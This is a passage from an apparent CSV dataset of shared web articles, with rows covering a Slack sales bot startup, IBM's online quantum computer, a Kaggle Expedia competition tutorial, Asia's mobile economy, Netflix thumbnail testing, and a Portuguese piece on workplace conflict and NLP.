rings of hyperbole. But there's data to back this up. ""At Troops, we fundamentally believe that the future of ""getting things done"" is going to look less like static fields and forms, and more like a conversation with a human being. Today, people are calling that paradigm shift and product a ""bot."" These bots represent new ways to solve old, but critical problems for the workforce. For example, would you rather have to enter data, row by row, cell by cell, page by page on a customer meeting you just had? And now think about that in a mobile environment which, by the way, is where the world is headed if not already there."" There are a lot of arrows pointing why this could be a thing . I think bot enthusiasts are waiting for some 'ah-hah' moments. Troops could be one. ""Troops lets salespeople search Salesforce by any name or field to view Salesforce data in stream, in Slack. We let people access reports on their pipeline with email tracking to show things like how many days its been since you talked to a customer. We also automatically surface Salesforce data in collaborative conversations that drive sales,"" Reich said. ""Right now a lot of this is super manual and you have to remember to do it. With our Google apps integration, we do a lot of this tracking automatically, and also provide intelligent suggestions when we notice an inconsistencies. A very simple example would be sending a customer a followup email. It's very easy for our bot to understand you had a first meeting with a customer that was in Salesforce and on your calendar - and then identify when you might have dropped the ball on something like a followup email or a CRM update that the meeting happened. Seamless Salesforce reconciliation after identifying these inconsistencies is a core part of what we are doing at Troops."" If that sounds like 'remind-you-to-fill-out-your-CRM-data' bot, it's not. That would be incredibly annoying. Troops is insisting they'll be blended right in your workflow - listening to your Slack conversations, reading your emails, and chiming in at helpful moments...or available when you call on it. Troops already has many large enterprises testing it out (that we can't mention, but you surely know). The funding will be used for product and engineering. More : MobileBeat 2016 is focused on the paradigm shift from apps to AI, messaging, and chatbots. Don't miss this opportunity: July 12 and 13 in San Francisco.",en
1462370266,CONTENT SHARED,5508665170385092264,-2626634673110551643,-2574177513386348910,,,,HTML,http://www.wired.com/2016/05/ibm-letting-anyone-play-quantum-computer/,IBM Is Now Letting Anyone Play With Its Quantum Computer,"Quantum computing is computing at its most esoteric. It's an experimental, enormously complex, sometimes downright confusing technology that's typically the domain of hardcore academics and organizations like Google and NASA . But that might be changing. Today, IBM unveiled an online service that lets anyone use the five-qubit quantum computer it researchers have erected at a research lab in Yorktown Heights, New York. You can access the machine over the Internet via a simple software interface-or at least it's simple if you understand the basics of quantum computing. This new service is hardly something the everyday consumer will use, but it's a big deal for the many researchers now working to build a practical quantum computer-a computer that moves beyond just 1s and 0s to become exponentially more powerful than today's machines. In that sense, IBM is indeed striving to bring quantum computing to the world at large. 'I think that someone out there will learn things about the behavior of this quantum computer that its developers never thought of.' Yes, the service is a way for IBM to show off its quantum computer, to have outsiders verify and approve its work-something that's particularly important when you're dealing with the hard-to-pin-down dynamics of a quantum computer. But David DiVincenzo, a professor at the Institute for Quantum Information at RWTH Aachen University and one of quantum computing's earliest pioneers, believes the service will lead to more. ""I think that someone out there will learn things about the behavior of this quantum computer,"" he says, ""that its developers never thought of."" That's an important thing as researchers seek unlock new realms of technology with this kind of machine, including everything from understanding DNA sequences to predicting the rise and fall of the stock market . Some aim to simulate the way individual molecules interact, while others hope that quantum computers will extend the reach of machine learning . That's what Google and NASA are exploring with their $10 million D-Wave machine , a somewhat controversial creation exhibits quantum properties in at least some situations. Meet the Qubit Today's computers store data in extremely small transistors. Each transistor can hold a single ""bit"" of information: a 1 or a 0. But about thirty years ago, scientists proposed a machine that could go beyond that binary, a machine that could store data in a system that obeys the seemingly magical principles of quantum mechanics. Instead of just a 1 or a 0, a ""qubit"" could store both at the same time , thanks to the superposition principle of quantum mechanics. By extension, two qubits could hold four values simultaneously: 00, 01, 10, and 11. And if you keep adding qubits, you could, in theory, build a machine far more powerful than any that exists today. ""These are things you can't explain with regular logic,"" says Jerry Chow, the former Yale researcher who helps oversee IBM's quantum computing work. ""Quantum computing and quantum algorithms are all about how do you harness that."" But that kind of ultra-powerful machine doesn't yet exist. Qubits, you see, are slippery thing. If you try to observe the state of a quantum system, it ""decoheres,"" falling into one state or the other. It no longer holds both a 0 and a 1. It holds only a O or a 1, like the classical computers of today. To build a true quantum computer, researchers must harness the probability that a qubit will decohere into one state versus the other. The Same Result Each Time There are many ways of doing this, and though none has truly cracked the problem, some are quite promising. IBM has built a quantum computer that operates by superconducting circuits into an enormous sub-zero refrigerator, and it spans five qubits. But now, in sharing this machine with the world at large, the company hopes to accelerate its progress, aiming to extend its power to 50 or possibly 100 qubits. These are things you can't explain with regular logic. Jerry Chow, IBM According to David Cory, a professor with the University of Waterloo's Institute for Quantum Computing, this sort of online quantum computer-a quantum cloud service, if you will-is pretty much unprecedented. Building such a service, he explains, is far more difficult than you might expect. ""It's not a simple thing to do,"" he says. ""Quantum systems are really quite delicate."" And, he adds, IBM has done it right. The service is fronted by an interface that's remarkably easy to use. ""Any student that has a first introduction to quantum computing would understand how to interact with this device,"" Cory says Cory spent the weekend using the new service, and what struck him was that the system was so consistent-that it reached the pretty much same result each time he ran a test. That's not a big deal in the world of classical computing. Your laptop does that countless times a second. But in the world of quantum computing, which is all about capturing probabilities, consistency is a sign of progress. Now, with this service available to the large community, perhaps more progress is on the way.",en
1462370380,CONTENT SHARED,4544213501105457932,-1443636648652872475,43810852945857874,,,,HTML,https://www.dataquest.io/blog/kaggle-tutorial/,How I got into the top 15 of a Kaggle competition in 3 days: A Python Tutorial,"Kaggle competitions are a fantastic way to learn data science and build your portfolio. I personally used Kaggle to learn many data science concepts. I started out with Kaggle a few months after learning programming, and later won several competitions. Doing well in a Kaggle competition requires more than just knowing machine learning algorithms. It requires the right mindset, the willingness to learn, and a lot of data exploration. Many of these aspects aren't typically emphasized in tutorials on getting started with Kaggle, though. In this post, I'll cover how to get started with the Kaggle Expedia hotel recommendations competition , including establishing the right mindset, setting up testing infrastructure, exploring the data, creating features, and making predictions. At the end, we'll generate a submission file using the techniques in the this post. As of this writing, the submission would rank in the top 15 . The Expedia Kaggle competition The Expedia competition challenges you with predicting what hotel a user will book based on some attributes about the search the user is conducting on Expedia. Before we dive into any coding, we'll need to put in time to understand both the problem and the data. A quick glance at the columns The first step is to look at the description of the columns of the dataset. You can find that here . Towards the bottom of the page, you'll see a description of each column in the data. Looking over this, it appears that we have quite a bit of data about the searches users are conducting on Expedia, along with data on what hotel cluster they eventually booked in test.csv and train.csv . destinations.csv contains information about the regions users search in for hotels. We won't worry about what we're predicting just yet, we'll focus on understanding the columns. Expedia Since the competition consists of event data from users booking hotels on Expedia, we'll need to spend some time understanding the Expedia site. Looking at the booking flow will help us contextualize the fields in the data, and how they tie into using Expedia. The box labelled Check-in maps to the srch_ci field in the data, and the box labelled Check out maps to the srch_co field in the data. The box labelled Guests maps to the srch_adults_cnt , srch_children_cnt , and srch_rm_cnt fields in the data. The box labelled Add a Flight maps to the is_package field in the data. site_name is the name of the site you visited, whether it be the main Expedia.com site, or another. user_location_country , user_location_region , user_location_city , is_mobile , channel is_booking , and cnt are all attributes that are determined by where the user it, what their device is, or their session on the Expedia site. Just by looking at one screen, we can immediately contextualize all the variables. Playing around with the screen, filling in values, and going through the booking process can help further contextualize. Exploring the Kaggle data in Python Now that we have a handle on the data at a high level, we can do some exploration to take a deeper look. You can download the data here . The datasets are fairly large, so you'll need a good amount of disk space. You'll need to unzip the files to get raw .csv files instead of .csv.gz . Exploring the data with Pandas Given the amount of memory on your system, it may or may not be feasible to read all the data in. If it isn't, you should consider creating a machine on EC2 or DigitalOcean to process the data with. Here's a tutorial on how to get started with that. Once we download the data, we can read it in using Pandas : Let's first look at how much data there is: (37670293, 24) (2528243, 22) We have about 37 million training set rows, and 2 million testing set rows, which will make this problem a bit challenging to work with. We can explore the first few rows of the data: date_time site_name posa_continent user_location_country user_location_region user_location_city orig_destination_distance user_id is_mobile is_package ... srch_children_cnt srch_rm_cnt srch_destination_id srch_destination_type_id is_booking cnt hotel_continent hotel_country hotel_market hotel_cluster There are a few things that immediately stick out: date_time could be useful in our predictions, so we'll need to convert it. Most of the columns are integers or floats, so we can't do a lot of feature engineering. For example, user_location_country isn't the name of a country, it's an integer. This makes it harder to create new features, because we don't know exactly which each value means. id date_time site_name posa_continent user_location_country user_location_region user_location_city orig_destination_distance user_id is_mobile ... srch_ci srch_co srch_adults_cnt srch_children_cnt srch_rm_cnt srch_destination_id srch_destination_type_id hotel_continent hotel_country hotel_market There are a few things we can take away from looking at test.csv : It looks like all the dates in test.csv are later than the dates in train.csv , and the data page confirms this. The testing set contains dates from 2015 , and the training set contains dates from 2013 and 2014 . It looks like the user ids in test.csv are a subset of the user ids in train.csv , given the overlapping integer ranges. We can confirm this later on. The is_booking column always looks to be 1 in test.csv . The data page confirms this. Figuring out what to predict What we're predicting We'll be predicting which hotel_cluster a user will book after a given search. According to the description , there are 100 clusters in total. How we'll be scored The evaluation page says that we'll be scored using Mean Average Precision @ 5, which means that we'll need to make 5 cluster predictions for each row, and will be scored on whether or not the correct prediction appears in our list. If the correct prediction comes earlier in the list, we get more points. For example, if the ""correct"" cluster is 3 , and we predict 4, 43, 60, 3, 20 , our score will be lower than if we predict 3, 4, 43, 60, 20 . We should put predictions we're more certain about earlier in our list of predictions. Exploring hotel clusters Now that we know what we're predicting, it's time to dive in and explore hotel_cluster . We can use the value_counts method on Series to do this: train [ ""hotel_cluster"" ] . value_counts () 91 1043720 41 772743 48 754033 64 704734 65 670960 5 620194 ... 53 134812 88 107784 27 105040 74 48355 The output above is truncated, but it shows that the number of hotels in each cluster is fairly evenly distributed. There doesn't appear to be any relationship between cluster number and the number of items. Exploring train and test user ids In the code below, we'll: Create a set of all the unique test user ids. Create a set of all the unique train user ids. Figure out how many test user ids are in the train user ids. See if the count matches the total number of test user ids. True Looks like our hypothesis is correct, which will make working with this data much easier! Downsampling our Kaggle data The entire train.csv dataset contains 37 million rows, which makes it hard to experiment with different techniques. Ideally, we want a small enough dataset that lets us quickly iterate through different approaches but is still representative of the whole training data. We can do this by first randomly sampling rows from our data, then selecting new training and testing datasets from train.csv . By selecting both sets from train.csv , we'll have the true hotel_cluster label for every row, and we'll be able to calculate our accuracy as we test techniques. The first step is to add month and year fields to train . Because the train and test data is differentiated by date, we'll need to add date fields to allow us to segment our data into two sets the same way. If we add year and month fields, we can split our data into training and testing sets using them. The code below will: Convert the date_time column in train from an object to a datetime value. This makes it easier to work with as a date. Extract the year and month from from date_time , and assign them to their own columns. Pick 10000 users Because the user ids in test are a subset of the user ids in train , we'll need to do our random sampling in a way that preserves the full data of each user. We can accomplish this by selecting a certain number of users randomly, then only picking rows from train where user_id is in our random sample of user ids. The above code creates a DataFrame called sel_train that only contains data from 10000 users. Pick new training and testing sets We'll now need to pick new training and testing sets from sel_train . We'll call these sets t1 and t2 . In the original train and test DataFrames, test contained data from 2015 , and train contained data from 2013 and 2014 . We split this data so that anything after July 2014 is in t2 , and anything before is in t1 . This gives us smaller training and testing sets with similar characteristics to train and test . Remove click events t2 = t2 [ t2 . is_booking == True ] A simple algorithm The most simple technique we could try on this data is to find the most common clusters across the data, then use them as predictions. We can again use the value_counts method to help us here: The above code will give us a list of the 5 most common clusters in train . This is because the head method returns the first 5 rows by default, and the index property will return the index of the DataFrame, which is the hotel cluster after running the value_counts method. Generating predictions We can turn most_common_clusters into a list of predictions by making the same prediction for each row. This will create a list with as many elements as there are rows in t2 . Each element will be equal to most_common_clusters . Evaluating error In order to evaluate error, we'll first need to figure out how to compute Mean Average Precision. Luckily, Ben Hamner has written an implementation that can be found here . It can be installed as part of the ml_metrics package, and you can find installation instructions for how to install it here . We can compute our error metric with the mapk method in ml_metrics : 0.058020770920711007 Our result here isn't great, but we've just generated our first set of predictions, and evaluated our error! The framework we've built will allow us to quickly test out a variety of techniques and see how they score. We're well on our way to building a good-performing solution for the leaderboard. Finding correlations Before we move on to creating a better algorithm, let's see if anything correlates well with hotel_cluster . This will tell us if we should dive more into any particular columns. We can find linear correlations in the training set using the corr method: train . corr ()[ ""hotel_cluster"" ] site_name -0.022408 posa_continent 0.014938 user_location_country -0.010477 user_location_region 0.007453 user_location_city 0.000831 orig_destination_distance 0.007260 user_id 0.001052 is_mobile 0.008412 is_package 0.038733 channel 0.000707 This tells us that no columns correlate linearly with hotel_cluster . This makes sense, because there is no linear ordering to hotel_cluster . For example, having a higher cluster number isn't tied to having a higher srch_destination_id . Unfortunately, this means that techniques like linear regression and logistic regression won't work well on our data, because they rely on linear correlations between predictors and targets. Creating better predictions for our Kaggle entry This data for this competition is quite difficult to make predictions on using machine learning for a few reasons: There are millions of rows, which increases runtime and memory usage for algorithms. There are 100 different clusters, and according to the competition admins, the boundaries are fairly fuzzy, so it will likely be hard to make predictions. As the number of clusters increases, classifiers generally decrease in accuracy. Nothing is linearly correlated with the target ( hotel_clusters ), meaning we can't use fast machine learning techniques like linear regression. For these reasons, machine learning probably won't work well on our data, but we can try an algorithm and find out. Generating features The first step in applying machine learning is to generate features. We can generate features using both what's available in the training data, and what's available in destinations . We haven't looked at destinations yet, so let's take a quick peek. Generating features from destinations Destinations contains an id that corresponds to srch_destination_id , along with 149 columns of latent information about that destination. Here's a sample: srch_destination_id d1 d2 d3 d4 d5 d6 d7 d8 d9 ... d140 d141 d142 d143 d144 d145 d146 d147 d148 d149 The competition doesn't tell us exactly what each latent feature is, but it's safe to assume that it's some combination of destination characteristics, like name, description, and more. These latent features were converted to numbers, so they could be anonymized. We can use the destination information as features in a machine learning algorithm, but we'll need to compress the number of columns down first, to minimize runtime. We can use PCA to do this. PCA will reduce the number of columns in a matrix while trying to preserve the same amount of variance per row. Ideally, PCA will compress all the information contained in all the columns into less, but in practice, some information is lost. In the code below, we: Initialize a PCA model using scikit-learn . Specify that we want to only have 3 columns in our data. Transform the columns d1-d149 into 3 columns. Generating features Now that the preliminaries are done with, we can generate our features. We'll do the following: Generate new date features based on date_time , srch_ci , and srch_co . Remove non-numeric columns like date_time . Add in features from dest_small . Replace any missing values with -1 . The above will calculate features such as length of stay, check in day, and check out month. These features will help us train a machine learning algorithm later on. Replacing missing values with -1 isn't the best choice, but it will work fine for now, and we can always optimize the behavior later on. Machine learning Now that we have features for our training data, we can try machine learning. We'll use 3-fold cross validation across the training set to generate a reliable error estimate. Cross validation splits the training set up into 3 parts, then predicts hotel_cluster for each part using the other parts to train with. We'll generate predictions using the Random Forest algorithm. Random forests build trees, which can fit to nonlinear tendencies in data. This will enable us to make predictions, even though none of our columns are linearly related. We'll first initialize the model and compute cross validation scores: array([ 0.06203556, 0.06233452, 0.06392277]) The above code doesn't give us very good accuracy, and confirms our original suspicion that machine learning isn't a great approach to this problem. However, classifiers tend to have lower accuracy when there is a high cluster count. We can instead try training 100 binary classifiers. Each classifier will just determine if a row is in it's cluster, or not. This will entail training one classifier per label in hotel_cluster . Binary classifiers We'll again train Random Forests, but each forest will predict only a single hotel cluster. We'll use 2 fold cross validation for speed, and only train 10 trees per label. In the code below, we: Loop across each unique hotel_cluster . Train a Random Forest classifier using 2-fold cross validation. Extract the probabilities from the classifier that the row is in the unique hotel_cluster Combine all the probabilities. For each row, find the 5 largest probabilities, and assign those hotel_cluster values as predictions. Compute accuracy using mapk . 0.041083333333333326 Our accuracy here is worse than before, and people on the leaderboard have much better accuracy scores. We'll need to abandon machine learning and move to the next technique in order to compete. Machine learning can be a powerful technique, but it isn't always the right approach to every problem. Top clusters based on hotel_cluster There are a few Kaggle Scripts for the competition that involve aggregating hotel_cluster based on orig_destination_distance , or srch_destination_id . Aggregating on orig_destination_distance will exploit a data leak in the competition, and attempt to match the same user together. Aggregating on srch_destination_id will find the most popular hotel clusters for each destination. We'll then be able to predict that a user who searches for a destination is going to one of the most popular hotel clusters for that destination. Think of this as a more granular version of the most common clusters technique we used earlier. We can first generate scores for each hotel_cluster in each srch_destination_id . We'll weight bookings higher than clicks. This is because the test data is all booking data, and this is what we want to predict. We want to include click information, but downweight it to reflect this. Step by step, we'll: Group t1 by srch_destination_id , and hotel_cluster . Iterate through each group, and: Assign 1 point to each hotel cluster where is_booking is True. Assign .15 points to each hotel cluster where is_booking is False. Assign the score to the srch_destination_id / hotel_cluster combination in a dictionary. Here's the code to accomplish the above steps: At the end, we'll have a dictionary where each key is an srch_destination_id . Each value in the dictionary will be another dictionary, containing hotel clusters as keys with scores as values. Here's how it looks: {'39331': {20: 1.15, 30: 0.15, 81: 0.3}, '511': {17: 0.15, 34: 0.15, 55: 0.15, 70: 0.15}} We'll next want to transform this dictionary to find the top 5 hotel clusters for each srch_destination_id . In order to do this, we'll: Loop through each key in top_clusters . Find the top 5 clusters for that key. Assign the top 5 clusters to a new dictionary, cluster_dict . Here's the code: Making predictions based on destination Once we know the top clusters for each srch_destination_id , we can quickly make predictions. To make predictions, all we have to do is: Iterate through each row in t2 . Extract the srch_destination_id for the row. Find the top clusters for that destination id. Append the top clusters to preds . Here's the code: At the end of the loop, preds will be a list of lists containing our predictions. It will look like this: [ [2, 25, 28, 10, 64], [25, 78, 64, 90, 60], ... ] Calculating error Once we have our predictions, we can compute our accuracy using the mapk function from earlier: 0.22388136288998359 We're doing pretty well! We boosted our accuracy 4x over the best machine learning approach, and we did it with a far faster and simpler approach. You may have noticed that this value is quite a bit lower than accuracies on the leaderboard. Local testing results in a lower accuracy value than submitting, so this approach will actually do fairly well on the leaderboard. Differences in leaderboard score and local score can come down to a few factors: Different data locally and in the hidden set that leaderboard scores are computed on. For example, we're computing error in a sample of the training set, and the leaderboard score is computed on the testing set. Techniques that result in higher accuracy with more training data. We're only using a small subset of data for training, and it may be more accurate when we use the full training set. Different randomization. With certain algorithms, random numbers are involved, but we're not using any of these. Generating better predictions for your Kaggle submission The forums are very important in Kaggle, and can often help you find nuggets of information that will let you boost your score. The Expedia competition is no exception. This post details a data leak that allows you to match users in the training set from the testing set using a set of columns including user_location_country , and user_location_region . We'll use the information from the post to match users from the testing set back to the training set, which will boost our score. Based on the forum thread, its okay to do this, and the competition won't be updated as a result of the leak. Finding matching users The first step is to find users in the training set that match users in the testing set. In order to do this, we need to: Split the training data into groups based on the match columns. Loop through the testing data. Create an index based on the match columns. Get any matches between the testing data and the training data using the groups. Here's the code to accomplish this: At the end of this loop, we'll have a list of lists that contain any exact matches between the training and the testing sets. However, there aren't that many matches. To accurately evaluate error, we'll have to combine these predictions with our earlier predictions. Otherwise, we'll get a very low accuracy value, because most rows have empty lists for predictions. Combining predictions We can combine different lists of predictions to boost accuracy. Doing so will also help us see how good our exact match strategy is. To do this, we'll have to: Combine exact_matches , preds , and most_common_clusters . Only take the unique predictions, in sequential order, using the f5 function from here . Ensure we have a maximum of 5 predictions for each row in the testing set. Here's how we can do it: 0.28400041050903119 This is looking quite good in terms of error - we improved dramatically from earlier! We could keep going and making more small improvements, but we're probably ready to submit now. Making a Kaggle submission file Luckily, because of the way we wrote the code, all we have to do to submit is assign train to the variable t1 , and test to the variable t2 . Then, we just have to re-run the code to make predictions. Re-running the code over the train and test sets should take less than an hour. Once we have predictions, we just have to write them to a file: We'll then have a submission file in the right format to submit. As of this writing, making this submission will get you into the top 15 . Summary We came a long way in this post! We went from just looking at the data all the way to creating a submission and getting onto the leaderboard. Along the way, some of the key steps we took were: Exploring the data and understanding the problem. Setting up a way to iterate quickly through different techniques. Creating a way to figure out accuracy locally. Reading the forums, scripts, and the descriptions of the contest very closely to better understand the structure of the data. Trying a variety of techniques and not being afraid to not use machine learning. These steps will serve you well in any Kaggle competition. Further improvements In order to iterate quickly and explore techniques, speed is key. This is difficult with this competition, but there are a few strategies to try: Sampling down the data even more. Parallelizing operations across multiple cores. Using Spark or other tools where tasks can be run on parallel workers. Exploring various ways to write code and benchmarking to find the most efficient approach. Avoiding iterating over the full training and testing sets, and instead using groups. Writing fast, efficient code is a huge advantage in this competition. Future techniques to try Once you have a stable foundation on which to run your code, there are a few avenues to explore in terms of techniques to boost accuracy: Finding similarity between users, then adjusting hotel cluster scores based on similarity. Using similarity between destinations to group multiple destinations together. Applying machine learning within subsets of the data. Combining different prediction strategies in a less naive way. Exploring the link between hotel clusters and regions more. I hope you have fun with this competition! I'd love to hear any feedback you have. If you want to learn more before diving into the competition, check out our courses on Dataquest to learn about data manipulation, statistics, machine learning, how to work with Spark, and more.",en
1462372495,CONTENT SHARED,914293752636521893,3609194402293569455,6857648189397316004,,,,HTML,http://techcrunch.com/2016/05/03/asias-mobile-first-economy-and-how-the-west-is-feeling-the-effects/,Asia's mobile-first economy and how the West is feeling the effects,"Asia Pacific leads the global digital infrastructure as home to half of the world's mobile phone subscribers and the largest number of wireless Internet connections. However, the region also has historically attracted less than one-third of global mobile marketing spend - making its role in the digital economy largely underrepresented amongst its Western counterparts. The potential for that role to change was galvanized by a late-2014 Google survey, which highlighted that mobile penetration in Asia was far greater than any other region in the world, even surpassing computer use, thus ushering in Asia's ""mobile-first"" consumer. As we approach the 10-year anniversary of the smartphone era, are there further lessons to be gleaned from Asia's mobile-first economy? East versus West The mobile-first consumer has fueled double-digit annual sales growth over the past five years for Asia Pacific tech companies - twice the pace of traditional retailers in the region. Although the growth trajectory is similar to the North American experience, differences in underlying drivers have the potential to elevate Asia Pacific's sphere of influence in the digital economy. While North American technology players have traditionally relied heavily on advertising, the Asian tech scene is more diverse. The West's largest online companies - Alphabet and Facebook - generate more than 90 percent of their revenue via advertising. By comparison, Asia's largest player, Alibaba Group , doesn't even operate on an advertising model, and the region's next largest incumbent, Tencent Holdings , relies on advertising for less than 20 percent of its income. As a result, popular consumer mobile apps in the region, such as WeChat , Line and KakaoTalk , are synonymous with multipurpose functionality, incorporating e-commerce, payments processing, games and other digital goods and services. Their success has been a recent source of inspiration among Western counterparts, with Pinterest , Twitter , Instagram and Facebook all launching actionable ""buy it"" buttons in their platforms during 2015. ""Value adding"" not expanding Are these initiatives set to open new rivers of gold for the West's social media incumbents? To date, the West's foray into social commerce remains in the experimental phases. To soften investor curiosity, industry leader Facebook has promoted its new functionality as a mechanism to enhance the value of existing advertising services rather than as an independent monetization strategy. While Facebook and Alphabet command half of all mobile advertising dollars, the pursuit of alternative revenue strategies may remain a covert affair. The risk facing multi-revenue pursuits is a complication of the user experience. The region's two most active private equity houses - Sequoia and Tiger Global - have together during the last six months helped anchor for local tech startups funding rounds nearing $2 billion. If their portfolio allocations are a proxy for near-term trends in the region, enterprise software, agency and financial services are set to become a greater part of the East's mobile commerce mix. Future forces in Asia's tech economy Accounting for 40 percent of recent deals in the region, on-demand services are driving a boom in agency funding. Also referred to as online to offline (O2O) businesses, the likes of Uber and Airbnb have pioneered this model in the West. However, in a hallmark characteristic of the East, local incarnations are not just relying on the pure agency model to drive revenue. Indian car hire provider Ola marked the region's most significant agency deal over the past six months with a $500 million funding round in September from a consortium that included Tiger Global. Proceeds are helping the company broaden its horizons with the launch in November of a new payments service, Ola Money. A reverse situation appears to be transpiring at Practo Technologies . After operating an enterprise management platform for doctors and medical clinics since 2008, the business now has an ancillary opportunity on the consumer side to facilitate on-demand medical bookings and advice. Practo attracted $90 million in August from a consortium that included Sequoia , Tencent Holdings and, interestingly, Google Capital . Jack of all trades or master of none? Practo Technologies represents the largest Asia Pacific tech deal in which Google has participated (to date). It also is the largest deal involving Google outside the U.S. and U.K. As smartphones approach their 10-year anniversary, could this be a sign of even larger deals ahead? Horizontal integration is poised to become a critical theme in the West as the value of North American tech IPOs reached a three-year low during Q1 2016. As competition for funding and users ultimately tighten, one-dimensional consumer applications that are characteristic of the West may pave the way to multiple functionalities in the pursuit of additional revenue. The ""buy it"" buttons experiments embarked on by Pinterest, Twitter, Instagram and Facebook during 2015 have yet to reach a verdict. The risk facing multi-revenue pursuits is a complication of the user experience. However, could hesitations from consumers to utilize the multiple functionalities, e.g. ""buy it"" buttons, create opportunity for more nimble, focused players? Such players to enter the space, specifically in the Asia Pacific region, include on-demand services and e-commerce startups, including ServisHero , which has three locations in South East Asia and RedMart in Singapore. These startups are shaping revenue pursuits based on a deep understanding of the audience, catering to localized consumer services. While we are seeing startups engineer products around defined markets, it's still a nascent trend in the West for consumers to engage in multi-dimensional platforms. However, as opportunity beckons for masters of their audience, this new wave of engineering could provide a natural stepping stone for consumer apps in North America. Featured Image: cowardlion / Shutterstock",en
1462378218,CONTENT SHARED,6369367631770966886,3429602690322213789,2869212495323466439,,,,HTML,http://www.b9.com.br/64774/tech/como-netflix-influencia-o-que-voce-vai-assistir-atraves-de-imagens/,Como a Netflix influencia o que você vai assistir através de imagens,"A Netflix raramente abre a boca para falar sobre a sua tecnologia, mas quando o faz prova a obsessão da empresa pela análise minuciosa de dados. Ou seja, como já sabíamos, não se trata apenas de uma plataforma que mostra vídeos na sua tela, mas que procura entender profundamente o comportamento dos usuários. Já é notório que eles sabem o que assistimos, quando assistimos, quanto assistimos, se desistimos no meio ou vamos até o fim, quando pausamos, etc, mas o trabalho de big data começa bem antes de apertarmos o play em algum filme ou série. Segundo estudos internos, a Netflix tem 90 segundos para capturar a atenção do usuário antes que ele desista e vá fazer outra coisa. Ou seja, é aquele tempo que você passa navegando pelo conteúdo e muitas vezes chega a conclusão de que ""não tem nada pra assistir"" . Sempre tem, é tudo questão de dar uma amostra certa através das imagens e thumbnails. O cérebro humano consegue processar imagens em meros 13 milissegundos, e a empresa descobriu que elas não apenas se tornaram a maior influência na nossa decisão de assistir algo, como também são responsáveis pelo aumento de 82% de tempo gasto navegando na plataforma. Outro dado interessante, é que cada pessoa leva em média 1.8 segundo para decidir se quer ver ou não determinado título. Com esses números em mente, o mais importante trabalho dos departamentos de criação e tecnologia desde 2014 é otimizar como essas imagens ilustram os filmes e séries. Os cientistas de dados da Netflix usam as estatísticas para alterar cores, emoções, personagens e palavras que aparecem nas fotos. É por isso que nenhuma Netflix é igual a outra. Nick Nelson, que é Global Manager of Creative Services da Netflix, revela alguns dos achados mais importantes que surgiram através de série extensa e automatizada de testes A/B. Três ou menos pessoas Um thumbnail, por definição, é pequeno. Então a primeira coisa que os dados mostraram pra Netflix é que não adianta encher uma imagem de gente. Quanto mais personagens, menor a chance do usuário ter uma leve noção do que se trata aquele filme ou série. Nick Nelson cita o caso de ""Orange Is The New Black"" . A primeira temporada foi promovida com todo o elenco principal nas imagens. Algo que fazia sentido dado o fato de personagens tão diversos e interessantes. Porém, os testes com três ou menos pessoas foram bem mais efetivos nas segunda e terceira temporadas. Emoções complexas Essa os youtubers já sabiam faz tempo. Desde que nascemos, rostos causam um efeito magnético em nós, seres humanos. E quanto mais complexas as emoções, melhores os resultados. Por isso é comum ver thumbnails de personagens fazendo careta, demonstrando surpresa ou raiva, que geram muito mais engajamento do que faces estóicas. O exemplo aqui é da segunda temporada de ""Unbreakable Kimmy Schmidt"" . A imagem vencedora - aquele que gerou mais cliques - é representada pela seta verde. Vilões são mais atraentes Não existe um bom herói sem um vilão à altura. Tanto é verdade, que imagens com personagens vilanescos funcionam melhor para capturar a nossa atenção. E isso funciona particularmente bem com crianças e em filmes de ação. Olha o exemplo abaixo de ""Dragons: Race to the Edge"" . Os dois thumbnails com vilões foram os que geraram mais engajamento. Abordagem regional A Netflix exibe e produz conteúdo global, mas nuances regionais podem ser poderosas na hora de conquistar a atenção do usuário. Os testes com ""Sense8"" - que conta com um elenco multicultural - mostraram que algumas imagens funcionam melhor do que outras dependendo do país. Abaixo, vemos os thumbnails vencedores na Alemanha, Brasil, Estados Unidos e Reino Unido. Algumas artes são mais conceituais, outras dão mais pistas da trama ou até mesmo coloca um personagem em ação: Esses achados guiam a Netflix na escolha das imagens, tudo com o objetivo de te fazer encontrar o que quer assistir de forma mais rápida e, claro, assertiva. Não adianta prometer algo que o conteúdo não entrega. Como usuário, porém, acredito que isso não é tudo. Escolher um filme ou série apenas pela imagem pode ser enganoso, tanto pro bem quanto pro mal. Sei que o comportamento básico do consumidor médio de cinema, por exemplo, é decidir o que vai assistir através do poster afixado na entrada (isso explica a quantidade de cabeças voadoras nos designs, melhor ainda se for do Brad Pitt), mas sempre considerei o currículo dos idealizadores, contexto de uma produção e opinião de amigos/críticos mais importantes do que qualquer imagem. Claro, isso é nicho. O primeiro contato da maioria das pessoas com uma obra é visual, por isso a importância de causar impacto à primeira vista. O que a Netflix já imagina é: como esse lógica proporcionada pelos testes A/B poderia ser replicada em outros materiais de divulgação, como trailers, por exemplo? Ou seja, alterar thumbnail é apenas uma pequena parte de um produto cada vez mais personalizado.",pt
1462381699,CONTENT SHARED,1738052593226421681,6013226412048763966,5796685774598185282,,,,HTML,http://www.pnl.com.br/programacao-neurolinguistica/publicacoes/como-resolver-conflitos-no-ambiente-corporativo-usando-a-pnl-,Como resolver conflitos no ambiente corporativo us,"por Gilberto Craidy Cury em 25 de abril de 2016 Muitas pessoas confundem divergência com conflito, com briga, mas na verdade, o conflito, principalmente dentro do ambiente corporativo, nada mais é do que a diferença de opiniões somada à má comunicação. As diferentes opiniões no trabalho são comuns e quando bem gerenciadas levam ao fortalecimento das equipes e ao crescimento profissional. A maneira sadia de lidar com elas é também aquela que mais facilita o desenvolvimento de indivíduos e da organização: a boa comunicação. Segundo uma pesquisa realizada pela Universidade de Harvard, cerca de 70% dos problemas nas organizações tem relação direta ou indireta com problemas de comunicação. Sendo assim, ensinar as pessoas e equipes a se comunicar melhor é uma excelente maneira de gerenciar os problemas. No entanto, não basta colocar um de frente pro outro e pedir que falem, é preciso desenvolver nas pessoas a capacidade de entender umas às outras e respeitar opiniões divergentes. Nesse contexto, a Programação Neurolinguística - PNL é a ferramenta mais eficiente de ser aplicada aos treinamentos. A PNL é, entre outros, um conjunto de ferramentas e técnicas de comunicação que trabalha individualmente nos colaboradores sua sensibilidade, capacidade de percepção, intuição, flexibilidade, empatia e inteligência emocional. Ela permite que possamos aprender e modificar modelos de comunicação interpessoal e intrapessoal, em pouco tempo e de maneira muito eficaz. Promove, também, o autoconhecimento, alicerce do auto desenvolvimento. Outra qualidade trabalhada pela ferramenta é a capacidade de gerenciar pessoas, uma vez que a liderança qualificada exige a capacidade de entender e respeitar os indivíduos. A qualidade do sucesso na liderança depende da qualidade das habilidades pessoais de se comunicar e do bom relacionamento entre interlocutores. É importante expressar nossos posicionamentos e 